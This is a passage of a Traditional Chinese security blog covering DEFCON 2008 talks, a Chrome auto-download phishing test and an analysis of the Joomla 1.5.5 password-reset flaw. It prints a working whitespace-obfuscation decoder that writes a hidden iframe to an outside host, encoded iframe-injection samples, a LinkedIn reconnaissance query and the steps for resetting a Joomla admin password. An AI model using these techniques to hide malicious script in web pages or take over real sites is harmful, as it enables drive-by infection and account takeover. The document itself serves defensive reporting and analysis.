最後,Chema 也將他這次的研究,實做成了工具: Marathon 並在會上發表。跑起來長這樣,注意,重點是支援的資料庫比其他工具多:



3. 空白字元:JavaScript 變形的新方法(Whitepace: A Different Approach to JavaScript Obfustation)投影片)(程式下載)(線上 demo

接下來我來到了整個 DEFCON 我最喜歡的演講之一:「空白字元:JavaScript 變形的新方法(Whitepace: A Different Approach to JavaScript Obfustation)」。先不講演講內容,演講者叫「Kolisar」,當然是一個假的名字。演講後我跟他花了很多時間探討,才了解到,他在一家很有名的大公司上班,不是資安公司,但是負責公司的網管與資安。也就是說,對我們阿碼科技這種「廠商」來說,他是「用戶(user)」。用戶上來給演講?沒錯!因為過去一年半,網站掛馬 javascript 變形手法太強,沒有一家能夠有效識別惡意的 javascript(當然那時他不認識阿碼科技),他只好自己拿 spidermonkey 來做,經過一整年與變形後的惡意 javascript 搏鬥後,看得多了,自己也有了心得,於是根據他看到的以及他研究的,他終於說服了老闆來 DEFCON 給演講。什麼?要在駭客年會給演講?傳統的大企業當然有顧忌,所以最後雖然準他來,但是不能用真名,也不能提公司的名字...哈!

但是這就跟我一直提的,在台灣也是一樣,user 都快比很多廠商強了,被訓練出來的!尤其台灣很多經銷代理商,一心只想塞產品給客戶...客戶都只好自求多福,幾年下來功力已經超過廠商了。



Kolisar 給我的第一印象,看他眼睛,非常聰明,但是同時也是一個很認真也很誠懇的人。他的演講整間做得滿滿的,算一算快一千人吧!他一開始就說:這是我第一次來 DEFCON 講...事實上,我給過演講,最多只有 20 個人,結果這次第一次上台竟然那麼多人,所以我現在一直發抖...

他的態度讓大家都很喜歡他,台下一直幫他打氣,他不像其他有經驗的講師很會搞笑,一下子就講完了,但是獲得台下好大的掌聲,後來立刻大家也提了很多的問題。我覺得這種會就是這樣,你只要有東西,不用裝強,大家就會聽你說。

Kolisar 首先介紹了各種 javascript 的編碼方式,我在「美國駭客年會 Black Hat 2008 觀察--第二天」中也記錄了 Billy Hoffman 舉的 各種不同 javascript 的變形方式,也利用 malwareguru.org 介紹了線上許多不同的 javascript 變形器。這邊把之前的文貼一些過來。

我們就拿我之前寫的「神秘 Web 攻擊綁架剪貼簿」來看好了,其中用的一段範例 javascript:


function IE_ClipBoard()
{
if (window.clipboardData) {
window.clipboardData.setData("Text","Hello from Wayne!");
}
}

1. Vanishing Point Packer(網頁malwareguru 上提供的線上 demo):


eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 3(){2(1.0){1.0.5("8","7 6 9!")}}',10,10,'clipboardData|window|if|IE_ClipBoard|function|setData|from|Hello|Text|Wayne'.split('|'),0,{}))


2. Yellopipe source code encrypter:


document.write(unescape("function%20IE_ClipBoard%28%29%20%20%0D%0A%7B%20%20%0D%0A%20%20if%20%28window.clipboardData%29%20%7B%20%20%0D%0A%20%20%20%20window.clipboardData.setData%28%22Text%22%2C%22Hello%20from%20Wayne%21%22%29%3B%20%20%0D%0A%20%20%7D%20%20%0D%0A%7D%20%20"));


3. Audit My PC HTML Encoder:


document.write('\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u0020\u0049\u0045\u005F\u0043\u006C\u0069\u0070\u0042\u006F\u0061\u0072\u0064\u0028\u0029\u0020\u0020\u000D\u007B\u0020\u0020\u000D\u0020\u0020\u0069\u0066\u0020\u0028\u0077\u0069\u006E\u0064\u006F\u0077\u002E\u0063\u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u0044\u0061\u0074\u0061\u0029\u0020\u007B\u0020\u0020\u000D\u0020\u0020\u0020\u0020\u0077\u0069\u006E\u0064\u006F\u0077\u002E\u0063\u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u0044\u0061\u0074\u0061\u002E\u0073\u0065\u0074\u0044\u0061\u0074\u0061\u0028\u0022\u0054\u0065\u0078\u0074\u0022\u002C\u0022\u0048\u0065\u006C\u006C\u006F\u0020\u0066\u0072\u006F\u006D\u0020\u0057\u0061\u0079\u006E\u0065\u0021\u0022\u0029\u003B\u0020\u0020\u000D\u0020\u0020\u007D\u0020\u0020\u000D\u007D\u0020\u0020');

圖 4

4. 中國的「网?免? 孤程?雪」線上服務:


t="97,108,101,114,116,40,39,72,101,108,108,111,32,102,114,111,109,32,87,97,121,110,101,32,111,102,32,65,114,109,111,114,105,122,101,33,39,41,59"

t=eval("String.fromCharCode("+t+")");


Kolisar 的公司在美國每一個城市幾乎都有辦公室,他的工作是事件處理,從本部飛到每一個辦公室支援。這兩年他著實看了不少的網站掛馬與變形的 javascript,於是他整理如何辨識變形過的 javascript 如下:

1. 經過 escape 的 ASCII / UNICODE 的字串。
範例 1:

eval(unescape ('%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f
...
%35%35%20%68%65%69%67%68%74%3d%35%31%31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%6l%79%3d%2O%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29'));


範例 2:

document.write('\uOO3c\uOO69\uOO66\uOO72\uOO6l\uOO6d\uOO65\uOO2O\uOO73\uOO72\uOO63\uOO3d\uOO27\uOO68\uOO74\uOO74\uOO7O
...
\u0065\u006e\u003b\u0027\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');


2. XOR(ASCII 值)
範例:

function xor_str(plain_str, xor_key) {var xored_str=""; for (var i=0; i < plain_str.length; ++i) xored_str += String.fromCharCode (xor_key ^ plain_str.charCodeAt(i)); return xored_str; }
function asd(a,b) {}; function qwe(c,i) {}; var plain_str="\x8d\xa0\xa7\xa0\xa7\xa0\xa7\xdb\xcc\xdf\xcc\xd4\x85\x84\x96\xa0\xa7\xdb\xcc\xdf\x8d\xc0\xc8\xc0\xf2\xcb\xc1\xcc\xca\x8d\x90\x8d\x9d\x96
...
\x84\x96\xa0\xa7"; var xored_str=xor_str(plain_str, 173); eval(xored_str);


3. XOR(字元編碼)
範例:

str = "ru'su)(:^L^Kgtobuhno!ru'su)(!z^L^Kw's!fgg!...
ubi)d(z||"; str2=""; for (i=0;i


4. 拆字
範例

le="rame>";
ok="docum";
uk="eight=0>aj="t.write(";
em="dth=0 h";
cg="nr="e src=/x.htm wi";
eval(ok+aj+cg+nr+em+uk+le);


5. 簡單的編碼
範例

function decrypt_p(x) {var l=x.length,b=1024,i,j,r,p,s,w=0,t=Array(63,53,56,3,9,35,38,14,13,
...
,50,60,7,22,44,19,28);for(j=Math.ceil(l/b);j>0;j==) {r=''; for (i=Math.min(l,b);i>0;i--,l--) {w|=(t[x.charCodeAt(p++)-48])<>=8;s-=2}else{s=6}}document.write(r)}} decrypt_p("S6dXf5aGSk8t49x1_t721gGPdk72OvU6EUK6fWauC3
...
Ayu1N5xBEUK6qKDfsWz1V94J96CgBPa2u94J96CgDvnGC94J9I");


但是以上這些,在有經驗的資安專家眼中,還是很快會被「懷疑」。當然不是變形過的 javascript 就是惡意的,因為 javascript 變形很普遍(見此文),並不是所有變形過的 javascript 都一定是惡意的。但是,至少會引來懷疑。

Kolisar 整理說,基本上碰到有以下幾點的 javascript,他都會懷疑並花時間確認:

1. eval()
2. unescape()
3. document.write()
4. 很長並且沒有意義的字串:
* Escape 過的 ASCII / Unicode 字串
* 加密過的字串
* 等等

好,所以 Kolisar 就想,如果要隱藏一個惡意的 iframe 到一個 HTML 文件裡,但是又不要那麼明顯,該如何做?

於是他決定,第一,還是用 document.write() 來寫出來,但是又不要實際上有 document.write()。該如何做呢?首先他利用以下這段程式(我稍微修改過)取得 "document" 這個字串:


h = this;
for (i in h)
if(i.length == 8 && i.charCodeAt(0) == 100) break;


h=this 所以 h 就是 window。for (i in h) 把 h 裡的每一個 properties 都走一遍,而長度等於 8 而已 "d" (ASCII 100) 開頭的,就只有 "document"。

同樣的,接下來 Kolisar 取得 "write":


for (j in h[i])
if(j.length == 5 && j.charCodeAt(0) == 119) break;


在 document 裡,長度是 5 而以 "w" 開頭的,就只有 "write" 了。

同樣的使法,取得 "getElementById":


for (k in h[i])
if(k.length == 14 && k.charCodeAt(0) == 103) break;


這個手法最有趣的地方,就是惡意 javascript payload 擺的方式。payload 不僅用 whitespaces / tabs 來編碼,而且就直接擺在上述這些 javascript 的每一行後面。這一段 javascript,Kolisar 用:


<script id='p'>


來開頭。所以現在我們要解碼,就必須先取得 "p" 這個 DOM 物件。有了 "document" 以及 "getElementById",這不是問題,下面這一行搞定:


r=h[i][k]('p');


這行等於 r=this.document.getElementById('p') ,但是乍看之下並不明顯。這就是巧妙處之一。

要讀到我們偷放的 whitespaces / javascript,必須要透過 r.innerHTML,於是再做一次:


for (l in r)
if(l.length == 9) && l.charCodeAt(0) == 105) break;


一切就緒,接下來就只剩把 whitespaces / tabs 轉成我們要 document.write 出來的 iframe,然後最後把字串 "o" 寫出來:


h[i][j](o);


乍看之下,之前我們說的特徵都沒有:eval()、document.write()、很長的奇怪字串...等。有趣吧!但是其實啊,要躲避目前坊間各家的網頁掛馬偵測,不需這麼複雜,就像 Billy 說的,改寫 vbscript 就好了。目前坊間幾乎都是靜態分析,但是 javscript 這種這麼動態的語言(可以動態產生程式碼)完全不適合用靜態分析。即使號稱有動態分析的,都試用 spidermonkey 兜的,碰到駭客目前使用的一些專門對付 spikermonkey 的 javascript 或任何 vbscript,就失效了。所以除非做的像 HackAlert,不然偵測率會越來越低。

Kolisar 的整段程式碼如下:


<script id='p'>
d=1;
e=76;
h = this;
for (i in h)
{
if(i.length == 8)
{
if(i.charCodeAt(0) == 100)
{
if(i.charCodeAt(7) == 116)
{
break;
}
}
}
}
for (j in h[i])
{
if(j.length == 5)
{
if(j.charCodeAt(0) == 119)
{
if(j.charCodeAt(1) == 114)
{
break;
}
}
}
}
for (k in h[i])
{
if(k.length == 14)
{
if(k.charCodeAt(0) == 103)
{
if(k.charCodeAt(3) == 69)
{
break;
}
}
}
}
r=h[i][k]('p');
for (l in r)
{
if(l.length == 9)
{
if(l.charCodeAt(0) == 105)
{
if(l.charCodeAt(5) == 72)
{
break;
}
}
}
}
a=r[l];
b=a.split('\n');
o = "";
for(c=3; c &lt; (e+3); c++)
{
s=b[c];
for(f=0; f &lt; d; f++)
{
y = ((s.length - (8*d)) + (f*8));
v = 0;
for(x = 0; x &lt; 8; x++)
{
if(s.charCodeAt(x+y) &gt; 9)
{
v++;
}
if(x != 7)
{
v = v &lt;&lt; 1;
}
}
o += String.fromCharCode(v);
}
}
h[i][j](o);
</script>


我在以上程式碼中,利用 whitespaces / tabs 編碼加入了以下這行:

<iframe src="http://malwareguru.com/kolisar/bad.html" style="display: none">

所以您如果執行以上 javascript,這一行最後會被 document.write 出來。其實,如果您選取部分上面的程式,從反白的地方,您就可以清楚地看到隱藏的 whitespaces / tabs 了:



想玩玩看嗎?我架了一份在這裡

另外這邊提醒的是,這種手法不一定只用來內嵌 iframe,可以直接內嵌一個 javascript 攻擊程式,直接攻瀏覽器漏洞或外掛漏洞。MalwareGuru 上有一些測試用的此類攻擊程式

這次與 Kolisar 聊了很久,後來聊到他的興趣,他說是變魔術。我說真的假的?他說當然,他很小就開始了。每個魔術都是一個謎題(puzzle),他邊看邊想著破法,很著迷,當然也自己表演。後來談到 Medeco,他又說他也迷開鎖(locksport),因為每個鎖其實就是精心設計的一套謎題(puzzle)。這讓我想到 Kuon 曾經跟我說:「解加殼過的惡意程式很有趣,因為每一個樣本就是一個 puzzle」。Kolisar是他們公司逆向工程解惡意程式(脫殼)的第一把交椅,不是也是這樣嗎?看來會做到資安這行,跟先天基因絕對有關係。我的外祖父賣了一輩子的魔術道具,我從小就一直設法破他設計的魔術,或跟他一起研究他那些堆積如山的魔術師錄影帶。

我目前正在跟 Kolisar 做一些很有趣的研究,有成果時在跟各位分享!

4. Nathan Hamiel & Shawn Moyer:撒旦是我好友:用社交工程手法攻擊社交網路(Satan is on my friendlist: Attacking Social Networks)Black HatDEFCON官方投影片(不完整)講師會後公開之投影片(完整)whitepaper訪問影片

Nathan 跟 Shawn 今年的演講很賣座,但是我在 Black Hat 時沒空去聽,今天趕緊先去佔位子。社交網站,是下一波資安的大漏洞,我完全同意。只是這種研究最近很多人都在做,故題目本身並不算太新。Nathan 跟 Shawn 先介紹了各大社交網站的 XSS CSRF 漏洞,並示範得很清楚,觀眾也都看得很過癮。Nathan 跟 Shawn 是非常好的講師,兩個人配合起來,像唱雙簧一樣,一搭一唱,效果十足。他們公布的漏洞也都很具體,也很嚴重。但是對於這些社交平台有 XSS 或 CSRF,我一點都不感到意外;事實上我們也有發現不少,只是沒有公開。



這場比較吸引我的,倒是後來介紹的社交工程實驗。Nathan 跟 Shawn 決定在 LinkedIn 上製造一個假的身份,看有多少人受騙。在爭取到 Markus Ranum(實做出第一套商業防火牆 SEAL、前 NFR 的創辦人兼 CEO、目前 Tenable 的 CSO)的同意後,Nat 跟 Shawn 就開始在 LinkedIn 上自己「幫」Marcus 建立了一個帳號。他們從網路上抓了他的照片,資料也都從 Marcus 的官方網站剪貼過來,填得頭頭是道。

接下來要找一些人把這個假的 Marcus 加入好友,這樣這個帳號看起來才像。網路上很多人對於建立線上社交網路很積極,只要你要求把他們加入好友,他們都會答應。Nat 跟 Shawn 用了以下這個 Google hacking 查詢:

"invites accepted" OR "open networker" OR "accepts all invites" OR lion OR toplinked.com OR mylink500 +site:linkedin.com +inurl:/in/ -inurl:updates

從完成假帳號的建立,到使用 Google hacking,到送出約 50 個加入好友 request,只花的一小時。十二個小時後,這個假帳號已經建立了 42 個關連,使得帳號看起來更真實了。不到半天的時間,這個帳號就已經加入了一些資安圈的重要社交群組。接下來就等待看有沒有人送要求過來,希望把假 Marcus 加入好友了。

結果是,很多人送訊息過來,表達在線上遇到 Marcus 實在太好了一些資安界重量級人物也要求把假 Marcus 加入好友,更多人送訊息來跟假 Marcus 討論最新的資安議題...沒有一個人懷疑這個帳號的真實性!而這一切,都是在二十四小時內完成的!

其實本來就是這樣,社交工程一項都是資安裡攻擊者最好用的手法。也難怪這個 blog到目前為止,最多篇文章的分類就是「社交工程」。

以下是 Nat 與 Shawn 在這次 Black Hat 時所接受的訪問:



5. Wendel Guglielmetti Henrique:打穿 WAF(Playing Web Application Firewalls)大會介紹投影片)<

來自巴西的講師 Wendel 是巴西滲透測試公司 Intruders Tiger Team Security 的成員,也是 Hackaholic 的成員(但是我之前都不認識他)。Google 了一下倒發現他也是今年 H2HC 的講師。



Wendel 講得很認真,並且有當場 demo 他介紹的技巧如何運用於打穿 Citrix Netscaler 這個 WAF。但是說實在我並沒那麼意外,原因有二。第一,真的要攻擊 WAF,看我之前寫的 Black Hat 第二天 Arian Evans 那場就知道了,人家只是客氣沒有當場 demo 而已。況且這也不是什麼新聞,從以前到現在,各大跟 Web 相關的 mailing list(不好意思寫明啦!),只要談到 WAF vs. Scanning(黑箱或白箱)(阻擋攻擊或修改漏洞),就會一長串口水戰,做 WAF 說 WAF 好,做 scanner 的說 WAF 只能擋小部分攻擊等等... 阿碼科技的看法則是,不同客戶有不同的需求,資安團隊的使命就是了解客戶需求,提供專業的建議並實際解決客戶問題,所以並不會預設立場,也因為這樣我們 WAF(SmartWAF)跟 scanner(CodeSecure)都有,而且現在還可以整合,由 scanner 吐弱點設定檔給 WAF。

第二個原因是,WAF 只是工具,WAF 的自我學習能力再強,也沒有辦法取代人為設定的重要。就像是選生病醫生,有人喜歡選大醫院因為「設備」比較好。我以前也是這樣,但是有了很多經驗,也看多了,聽多了之後,現在我都選醫生。超音波,斷層掃瞄的設備再好,都只是幫醫生做判斷。沒有經驗的醫生,用再好的儀器,都還是沒用,書本上讀的,跟實際有很大的差距。有經驗的醫生,有時看一下病人臉色,問一兩個問題,就可以做出正確的判斷,照都不用照。WAF 也是一樣,WAF 是資安團隊的工具,在來不及把弱點修改好之前,WAF 可以提供一定程度的防禦力。但是 WAF 不是買來就好,重點是設定。我之前就提過了,「...如果找對好的 partner,有心服務客戶,長期經營,技術能量也夠,那即使用免費的開放源碼 ModSecurity 做 Web 防火牆,一樣能設定到讓您高枕無憂。」

如果你的網站是採用主機代管,由具備 SOC 能力的 hosting provider 幫忙處理 security,那不能只是選對方用什麼設備。就像你選銀行的保險箱放重要的東西,銀行告訴你他們採用了全美國最好的 Medeco 保險箱,那你必須知道:
1. 即使是 Medeco,今年也被破了
2. 但是更重要的是,銀行買了 Medeco,結果到底有沒有上鎖?如果買了結果都沒鎖,有用嗎?
3. 安全不能靠單點而要靠 layered security,銀行用了好的保險箱,但是有沒有監控系統?有沒有人在顧監控系統?大門有沒有警衛?

我們把 SmartWAF 賣給代管廠商,就像我們把保險箱賣給了銀行一樣。銀行到底有沒有好好用,到底有沒有上鎖(SmartWAF 到底有沒有打開?)我們盡全力去影響,但是畢竟我們無法直接管對方。

6. 黑白帽相見歡(Meet the Feds)大會介紹
聽完了 Wendel 的演講,接著就是每年 Black Hat 以及 DEFCON 各有一場,很好玩的黑白帽相見歡(Meet the Feds)啦!MTF 每年都是大陣仗,今年也不例外,美國與加拿大兩個政府總共出動了 11 個相關單位代表:



上面照片從左至右的 11 人分別是:
1. Rod Beckstrom美國國土安全部(DHS)新單位--國家資安中心(National Cyber Security Center、NCSC)」首席,為今年美國政府資安界的當紅新人炸子雞

2. Lin Wells: 美國國防部網路與資訊整合副次長(白話說法就是美國國防部的副 CIO)(Principal Deputy Assistant Secretary of Defense, Networks and Information Integration),此次代表美國國防大學(National Defense University

3. Richard Marshall:美國國家安全局(National Security,NSA

4. Mischel Kwon:美國電腦安全緊急應變中心(US-Cert)

5. 美國國稅局(IRS)

6. Jim Christy(主席):美國國防部網路犯罪中心(Department of Defense Cyber Crime Center,DC3

7. Tom Pownall:加拿大聯邦警察(Royal Canadian Mounted Police,RCMP

8. Barry Grundy:美國太空總署電腦犯罪科(NASA Computer Crime Division)

9. David Helfen:美國海軍罪案調查處(Naval Criminal Investigative Service,NCIS

10. Ray Kessenich:美國國防網路調查訓練學校(Defense Cyber Investigation Training Academy,DCITA

11. James Finch:美國聯邦調查局(Federal Bureau of Investigation,FBI

別看加拿大還來湊熱鬧,事實上這些單位(尤其是比較老的)之間互動非常頻繁,加拿大自90年代後期就一直是美國這些單位的重要聯盟伙伴(見此 1998 新聞,RCMP 聯合 FBI、NASA 與 DC3 抓駭客)。

為什麼 NASA 也來呢?NASA 其實在駭客史上是常出現的,因為 NASA 從早期大家就知道,很多好機器,名聲有大,所以大家喜歡攻...還有重點是,其實不難攻,只是會被抓。另外由於各界都對 NASA 的研究很有興趣,所以 NASA 很早就有 website,並有很大的流量。我記得 1995 年世紀大彗星Hale-Bopp被發現時,大家都是到 NASA 的這個網頁來看資料與照片。到 1997 年時,這個網頁已經有一天超過一百萬次的流量了。如果當初有網頁掛馬,想一想一個一天有一百萬次流量,但是又不太難攻的網頁,對駭客的吸引力會有多大。所以在與駭客作戰方面,NASA 一直算「有經驗」的單位 :)

IRS 會來也是差不多原因,但是比 NASA 還多一個強處。美國抓到人卻無法有效舉證判罪時,都是出動 IRS。個人意見,在美國得罪 IRS 比得罪 FBI 還慘。

這場我是從頭笑到尾,我坐正中間第一個位子,一直笑道腰都直不起來。台上風光介紹每個人的資歷,很多人都是科班出身,意思就是美國政府很強啦。台下我後面大家竊竊私語,像蒐集戰利品一樣:

「嗯,來了 11 個,我這幾年加起來,打進了 3 個」
「遜,我 5 個」
「那要看哪 5 個,有一些太容易啦!」
「還有不要跟我說你的是 xss,要開出 shell 的才算」

問問題大排長龍,問的答的都很好笑。

問:「我們要如何判斷什麼是合法的資安研究,什麼是違法的駭客行為?」
答:「下一個!」
問:「就這樣?!」
答:「你哪裡來的?」
問:「俄羅斯」
答:回頭看比 抓起來的手勢:「下一個!」



此次被指定回答最多的,就是 FBI 的先生啦!不過似乎他怎麼回答大家都不相信他的樣子...



不過看來這些單位來,還有一個大目的,就是招募人才。回答中各單位一再重複,加入有多好多好,履歷要投到哪裡等等,問的問題也有好幾個是這方面的。有好幾位代表很年輕並且感覺技術底子很夠,或之前蠻「黑」的。我覺得這樣對這些單位的形象,絕對有很大的加分作用,因為台上一方面感覺有料,一方面又讓台下感覺,有料可以幫國家做有義意的事,而不是在黑暗處搞破壞或被人利用。恩,肯定這場 panel!

我記得還有一題我笑得抬不起來,後面也是,是這題:

問:「發現重大漏洞真的不能直接完整揭露(full disclosure)嗎?」

答:「絕對不行!一定要有耐心跟對方溝通,協助處理完後方可公開!」

聽了快笑死了,每次對方只要是超級大單位,就是先丟一份保密合約(NDA)給我們簽:「不簽就不繼續談」。但是簽了就表示,我們過去現在未來,即使在漏洞修好後十年,或十年後漏洞都還沒修,只要對方不同意,我們就不能公開。你沒看早上第一場 Medeco,Schuyler 探討與對方互動第一原則,就是「絕對不可簽署保密合約」。這方面我回來有表示過意見,沒想到媒體也有報導出來。這樣要叫我們如何「有耐心跟對方溝通」?不簽對方就不溝通啊呵!

結束後我冒著大會攝影機還在拍的風險,去找了這位回答的先生討論,因為我知道他私下處理了不少這類的問題,也幫了不少人。他給了一些聯絡資訊,嗯,以後一定會有用的,心裡想,但是其實我應該去要那位 IRS 先生的聯絡方式,因為我們發現貴單位網站有漏洞很久了。但想想算了,等其他人發現去告訴他吧,我才不淌這種麻煩。

7. NIST:量子加密(Quantum Cryptography)

這場結束後今天也就大功告成啦,等一下還有聚會,真是累死人。利用空檔去繞了一些展示區,發現美國國家標準局(NIST)有來展示量子加密(quantum cryptography)。我資格考考了兩科 quantum,唸了很多 Alice 跟 Bob,但是從沒看過 live 系統,今天真是大開眼界啊!NIST 的研究員正在吃飯,卻放下食物好心的整個跟我解釋了一遍,真是感動,謝謝各位,系統做得真的太帥了!





8. Thomas Wilhelm:移動駭客空間(Mobile Hacker Spaces)
最後繞道了大門外,參觀了一下今年第一次從科羅拉多開過來展是的移動駭客空間(Mobile Hacker Spaces)。移動駭客空間在這個社群中很紅,因為可以開車到處偷別人的無線訊號來做... 研究... 咳...咳...



其實設計這台車的不是別人,就是開放源碼滲透測試工具包 De-ICE.net PenTest LiveCD 的創辦人 Thomas Wilhelm,目前為美國某前 50 大(fortune 50)企業的資安人員,也正在念博士班。Thomas 與朋友合著有:「Penetration Tester's Open Source Toolkit, Volume 2」、「Metasploit Toolkit for Penetration Testing, Exploit Development, and Vulnerability Research」、以及「Netcat Power Tools」等有名的資安工具書。

終於寫完啦,一天寫一點時間真的不夠用,感謝閱讀!我會湊出時間把第二三天也寫完的,會合寫成一篇只敘述重要的演講。

作者 Wayne 為 阿碼科技 CEO

相關文章:
駭客年會Black Hat / DEFCON 2008 心得一:地下犯罪經濟成熟,影響會議品質?
美國駭客年會 Black Hat 2008 觀察--第二天
美國駭客年會 Black Hat 2008 觀察--第一天

繼續閱讀全文...

2008年9月3日

「Google Chrome」瀏覽器實戰釣魚網站!敗~~

Google推出新的瀏覽器了,目前是測試版,有很多新聞,可以看這裡這裡還有這裡。如果想嘗鮮可以到下列網址下載安裝:
http://www.google.com/chrome

想知道目前這瀏覽器的市佔率,可以看這邊。看起來應該頗受大家看好,才有這統計數據,目前顯示將近 2%。

新的瀏覽器對有心人士來說,就是新戰場,貼切點就像是 Wii、PS3 或 iPhone 推出一樣,迫不及待的拆開把玩,所以,今天(9/3日)開放下載,馬上就有人推出攻擊:Google Chrome Browser 0.2.149.27 malicious link DoS Vulnerability
POC 網址在這裡

所以我們拿「Google Chrome」來實戰釣魚網站,這釣魚網站很常見的詐騙伎倆,大家不可不防的,實戰結果卻有點跌破眼鏡;所以,使用前還是要得先熟悉產品,不然會出事。這裡摘錄精彩片段予以重播,Pitch by Pitch...!

釣魚網站有目前有兩個連結,可以參考先前 POST 的文章
1.實戰釣魚網站(A):主要運用騙術。
2.實戰釣魚網站(B):除了騙術,還有些玩弄小程式,你能脫身嗎?

所以直接把 Google Chrome 瀏覽器,連線釣魚網站看看會有啥結果:
(A)網站瀏覽結果,發現桌面上馬上多一個檔案,一開始還真的嚇一跳哩,瀏覽畫面如下。怎會發生這款事勒...

桌面多出的一個檔案,有心人士可是千方百計才有這結果的哩:


(B)網站瀏覽結果,經過一連串網頁的煩人訊息後,發現桌面上也多一個檔案,瀏覽畫面如下:

同樣的,在循環的訊息過程中也無法將瀏覽器關閉,最後桌面也多出的一個檔案:


仔細想想發生啥事...大家應該也猜到發生啥事了!沒錯,「預設在下載檔案時」是沒有下載訊息的喔...XD,設定畫面如下,該不該打勾呢?我想你應該在這實戰釣魚網站過程中,知道會發生啥事了吧!順便複習一下釣魚網站的技倆。


如果沒勾,你的電腦可能會多出一堆檔案的哩,這瀏覽器的下載檔案的過程及訊息都跟 IE 及FireFox 不太一樣的,有沒有發現呢?站在「方便使用」的立場,或許相當人性化,但資訊安全往往站在「便利」的另一端,該如何取決,你得做出選擇。

這個漏洞也已經陸續有相關披漏了,可以參考下列網址:
Google Chrome Browser 0.2.149.27 Automatic File Download Exploit
Google Chrome Automatic File Download

本文同步張貼於:資安之我見

作者 Crane 為 阿碼科技 資安顧問

繼續閱讀全文...

2008年8月27日

Joomla Hack Analysis

Joomla 是一套使用 PHP 程式語言加上 MySQL 資料庫所開發的內容管理系統(CMS, Content Management System),可以在 Linux、Windows、Mac OS X 等各種不同的平台上執行。目前 Joomla 是由 Open Source Matters (www.opensourcematters.org) 這個開放源碼組織進行開發與支援,組織的核心成員約 150 人,來自全世界各地,其中包含了開發者、設計者、系統管理者、文件撰寫者,另外有超過 9 萬名(2007.3)的參與會員。更多相關資訊可參考Joomla 官方網站

此漏洞名為:「Remote Admin Password Change」(CVE-2008-3681MILW0RM:6234BID:30667)於2008年8月12日被公開之後,Joomla 的官方網站在當天就緊急發布了 1.5.6 的更新,也呼籲所有 1.5 版本要趕快升級到 1.5.6 ,不然管理者的密碼有可能會被入侵修改。但是大多數使用者,可能還不知道有這回事呢,導致大家如果有看到近期這幾天被淪陷網站紀錄,很多都是 Joomla,請參考新聞:大量 Joomla 系統網站遭入侵

Joomla 居然這麼容易就被打下讓我們非常的好奇,於是就分析了一下 Joomla 1.5.5 原始碼。這個弱點其實不是針對程式碼來做攻擊(例如 SQL Injection 或 XSS),而是針對 Joomla 本身 business logic 的漏洞,Joomla 原先重設密碼都是要求使用者輸入 email,程式將密碼直接寄到使用者的 email,但是在1.5版之後,Joomla 改成寄送一個 32 bytes 的 token 到使用者的信箱,使用者在 Joomla 上再使用這個 token 來設定密碼。

以下是重設的 function:

function confirmReset($token)
{
global $mainframe;

$db = &JFactory::getDBO();
$db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token));

// Verify the token
if (!($id = $db->loadResult()))
{
$this->setError(JText::_('INVALID_TOKEN'));
return false;
}

// Push the token and user id into the session
$mainframe->setUserState($this->_namespace.'token', $token);
$mainframe->setUserState($this->_namespace.'id', $id);

return true;
}

一般常見的入侵方式是偽造一個密碼重設的要求,再預測 token 的值。Joomla 使用 GUID 作為 token,被預測的可能性相當低。然而,Joomla 卻犯了一個邏輯上的錯誤。一般類似的密碼重設功能,都會在資料庫中紀錄使用者是否有要求重設密碼,如果有要求,才會比對 token。但是 Joomla 卻是直接比對 token,在資料庫中,沒有要求重設密碼的使用者的 token 當然是一個空字串,因此,只要在 token 欄位的值是一個空字串即可,Joomla 的重設網頁是使用 JavaScript 來檢查 TextBox 是否為空,因此只要將 JavaScript 關閉,按下 Submit,即可重設ID最小的使用者的密碼,而 ID 最小的使用者通常都是 admin。

另外,由於 Joomla 在將 token 送進資料庫前,會將 token 中的符號過濾掉,因此,我們也可以不用關閉 JavaScript,直接在 TextBox 中隨便輸入幾個符號,進入資料庫比對的 token 一樣是空字串。

Joomla 1.5.6修補了這個弱點,修補的方法是在 confirmReset 中加入了下面的程式碼:

if(strlen($token) != 32)
{
$this->setError(JText::_('INVALID_TOKEN'));
return false;
}

強制與資料庫比對的 token 長度一定要是32 bytes,因此空字串都會輸出 IVALID_TOKEN 錯誤。

正確的修補方式應該是在資料庫中加上一個型態為 bit 的欄位,紀錄使用者是否有要求重設密碼。但是這樣的修補方式必須要更動到資料庫,而 Joomla 1.5.6 的修補方式只需要覆蓋一個檔案即可。我們認為 Joomla 這算是一個救火的修補方式,也期待在 Joomla 的下一個 major release 中,能夠以加上 bit 欄位的方式來修補這個問題。

目前我們已通知許多使用 Joomla 1.5 - 1.55 還存有安全漏洞的使用者以免更多的無辜使用者被攻擊。


作者 Sun 與 Jim 為 阿碼科技 資安顧問

繼續閱讀全文...

2008年8月24日

利用「關鍵字廣告」的詐騙--也在google出現

先來看看一些消息:
iThome online:小心關鍵字廣告連結惡意網頁
ZDNet Taiwan:關鍵字廣告成網路釣魚工具
資安人:Yahoo!奇摩關鍵字洩個資!
Sunbelt Blog:The continuing problem of malware being advertised in Google Adwords
刑事警察局:兩岸駭客設置變種網路釣魚網站竊取網路銀行等企業大量個人資料
資安之我見:偽裝成防毒軟體網站

去年「關鍵字廣告」的詐騙在我們這就已經相當夯了,鬧得沸沸揚揚,所以google上也是一定會有的事;最近國外開始利用了,畢竟,這類手法得花些成本的,所以沒有計畫就做,很容易賠老本哩...XD。既然人家都花錢做了,我們也應該欣賞一下囉!順便中英手法比較一下有啥不同呢?

我們這是「利用yahoo關鍵字」的手法,先來恢復一下記憶:

上面這圖已經有很多網站或部落格用過,大家可能比較有印象點,來源好像是自由電子報的。

這手法在2006年底就出現了...到2007年二月才爆發出來。

這是哪家銀行咧,看得出來嗎?都跟正牌銀行差一個字母喔?正牌銀行也是受害者的。

前面兩張圖是分類廣告不用錢的,這張圖是「贊助網站」要錢的哩!

